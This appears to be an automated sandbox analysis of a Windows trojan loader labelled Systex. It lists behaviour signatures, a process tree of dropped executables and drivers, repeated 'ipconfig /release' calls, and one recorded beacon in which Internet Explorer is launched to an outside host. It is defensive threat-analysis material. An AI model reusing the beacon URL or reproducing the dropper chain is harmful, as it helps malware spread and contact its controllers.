Analysis
- max time kernel
149s - max time network
135s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/09/2026, 08:33
General
- Target 2026-09-30_b162cc86ab995f4ff6f3bdd07ec8b218_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260930-kfxmwasfmd
- SHA256 d9638c14755aefa3d76594162ebcd9b1450c42cd73d214c4748d382affc4367c
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 51 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-30_b162cc86ab995f4ff6f3bdd07ec8b218_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-30_b162cc86ab995f4ff6f3bdd07ec8b218_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\smkecwupmhfzxrpj.exeC:\Temp\smkecwupmhfzxrpj.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxrpjhczus.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\zxrpjhczus.exeC:\Temp\zxrpjhczus.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxrpjhczus.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zxrpjhczus.exeC:\Temp\i_zxrpjhczus.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmhezwrpjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rmhezwrpjh.exeC:\Temp\rmhezwrpjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmhezwrpjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rmhezwrpjh.exeC:\Temp\i_rmhezwrpjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwuojhbztr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bwuojhbztr.exeC:\Temp\bwuojhbztr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwuojhbztr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bwuojhbztr.exeC:\Temp\i_bwuojhbztr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jeywqoigby.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jeywqoigby.exeC:\Temp\jeywqoigby.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jeywqoigby.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jeywqoigby.exeC:\Temp\i_jeywqoigby.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nlgdyvqoig.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nlgdyvqoig.exeC:\Temp\nlgdyvqoig.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nlgdyvqoig.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nlgdyvqoig.exeC:\Temp\i_nlgdyvqoig.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lfdxvqniga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lfdxvqniga.exeC:\Temp\lfdxvqniga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lfdxvqniga.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lfdxvqniga.exeC:\Temp\i_lfdxvqniga.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkicausnid.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qkicausnid.exeC:\Temp\qkicausnid.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkicausnid.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qkicausnid.exeC:\Temp\i_qkicausnid.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\faxspkicau.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\faxspkicau.exeC:\Temp\faxspkicau.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_faxspkicau.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_faxspkicau.exeC:\Temp\i_faxspkicau.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pmhfzxrpjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pmhfzxrpjh.exeC:\Temp\pmhfzxrpjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pmhfzxrpjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pmhfzxrpjh.exeC:\Temp\i_pmhfzxrpjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gezwrpjhbz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\gezwrpjhbz.exeC:\Temp\gezwrpjhbz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gezwrpjhbz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gezwrpjhbz.exeC:\Temp\i_gezwrpjhbz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wrojhbztrm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wrojhbztrm.exeC:\Temp\wrojhbztrm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wrojhbztrm.exe ups_ins3⤵
-
C:\Temp\i_wrojhbztrm.exeC:\Temp\i_wrojhbztrm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tomgeywqoj.exe ups_run3⤵
-
C:\Temp\tomgeywqoj.exeC:\Temp\tomgeywqoj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tomgeywqoj.exe ups_ins3⤵
-
C:\Temp\i_tomgeywqoj.exeC:\Temp\i_tomgeywqoj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tnlgdywqoi.exe ups_run3⤵
-
C:\Temp\tnlgdywqoi.exeC:\Temp\tnlgdywqoi.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tnlgdywqoi.exe ups_ins3⤵
-
C:\Temp\i_tnlgdywqoi.exeC:\Temp\i_tnlgdywqoi.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavtnlfdy.exe ups_run3⤵
-
C:\Temp\idavtnlfdy.exeC:\Temp\idavtnlfdy.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavtnlfdy.exe ups_ins3⤵
-
C:\Temp\i_idavtnlfdy.exeC:\Temp\i_idavtnlfdy.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\axsqkicaus.exe ups_run3⤵
-
C:\Temp\axsqkicaus.exeC:\Temp\axsqkicaus.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_axsqkicaus.exe ups_ins3⤵
-
C:\Temp\i_axsqkicaus.exeC:\Temp\i_axsqkicaus.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\axsqkiuskh.exe ups_run3⤵
-
C:\Temp\axsqkiuskh.exeC:\Temp\axsqkiuskh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_axsqkiuskh.exe ups_ins3⤵
-
C:\Temp\i_axsqkiuskh.exeC:\Temp\i_axsqkiuskh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\smkecxupnh.exe ups_run3⤵
-
C:\Temp\smkecxupnh.exeC:\Temp\smkecxupnh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_smkecxupnh.exe ups_ins3⤵
-
C:\Temp\i_smkecxupnh.exeC:\Temp\i_smkecxupnh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hezxrpjhbz.exe ups_run3⤵
-
C:\Temp\hezxrpjhbz.exeC:\Temp\hezxrpjhbz.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hezxrpjhbz.exe ups_ins3⤵
-
C:\Temp\i_hezxrpjhbz.exeC:\Temp\i_hezxrpjhbz.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ztrljezwro.exe ups_run3⤵
-
C:\Temp\ztrljezwro.exeC:\Temp\ztrljezwro.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ztrljezwro.exe ups_ins3⤵
-
C:\Temp\i_ztrljezwro.exeC:\Temp\i_ztrljezwro.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3036 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\smkecwupmhfzxrpj.sysC:\Temp\smkecwupmhfzxrpj.sys1⤵
- Executes dropped EXE
-
C:\Temp\hezxrpjhbz.sysC:\Temp\hezxrpjhbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgezwrpjhb.sysC:\Temp\mgezwrpjhb.sys1⤵
- Executes dropped EXE
-
C:\Temp\qojgbztrlj.sysC:\Temp\qojgbztrlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\ytqljdbvtn.sysC:\Temp\ytqljdbvtn.sys1⤵
- Executes dropped EXE
-
C:\Temp\vqnigaysqk.sysC:\Temp\vqnigaysqk.sys1⤵
- Executes dropped EXE
-
C:\Temp\idavtnlfdx.sysC:\Temp\idavtnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkfdxvpnhf.sysC:\Temp\mkfdxvpnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\zusmkecxup.sysC:\Temp\zusmkecxup.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpjhbzurmk.sysC:\Temp\rpjhbzurmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgezwrojhb.sysC:\Temp\mgezwrojhb.sys1⤵
- Executes dropped EXE
-
C:\Temp\bztrljebwt.sysC:\Temp\bztrljebwt.sys1⤵
-
C:\Temp\lgdywqoiga.sysC:\Temp\lgdywqoiga.sys1⤵
-
C:\Temp\qoigaysqli.sysC:\Temp\qoigaysqli.sys1⤵
-
C:\Temp\snlfdxvqfa.sysC:\Temp\snlfdxvqfa.sys1⤵
-
C:\Temp\hfaxspkica.sysC:\Temp\hfaxspkica.sys1⤵
-
C:\Temp\zxspkicaus.sysC:\Temp\zxspkicaus.sys1⤵
-
C:\Temp\rmkecwupmh.sysC:\Temp\rmkecwupmh.sys1⤵
-
C:\Temp\omhezwrpjz.sysC:\Temp\omhezwrpjz.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
bwuojhbztr.exe
faxspkicau.exe
hezxrpjhbz.sys
i_bwuojhbztr.exe
i_jeywqoigby.exe
i_lfdxvqniga.exe
i_nlgdyvqoig.exe
i_qkicausnid.exe
i_rmhezwrpjh.exe
i_zxrpjhczus.exe
idavtnlfdx.sys
jeywqoigby.exe
lfdxvqniga.exe
mgezwrpjhb.sys
mkfdxvpnhf.sys
nlgdyvqoig.exe
qkicausnid.exe
qojgbztrlj.sys
rmhezwrpjh.exe
smkecwupmhfzxrpj.exe
smkecwupmhfzxrpj.sys
vqnigaysqk.sys
ytqljdbvtn.sys
zxrpjhczus.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
suggestions[1].en-US
memory/684-162-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/684-168-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/920-154-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1380-180-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2236-57-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2256-130-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2836-167-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2932-172-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3192-150-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3324-112-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3512-100-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3512-88-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3596-19-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3620-145-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3768-69-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4204-146-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4204-141-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4276-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4444-176-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4556-158-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4556-163-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5084-124-0x0000000000010000-0x00000000000AB000-memory.dmp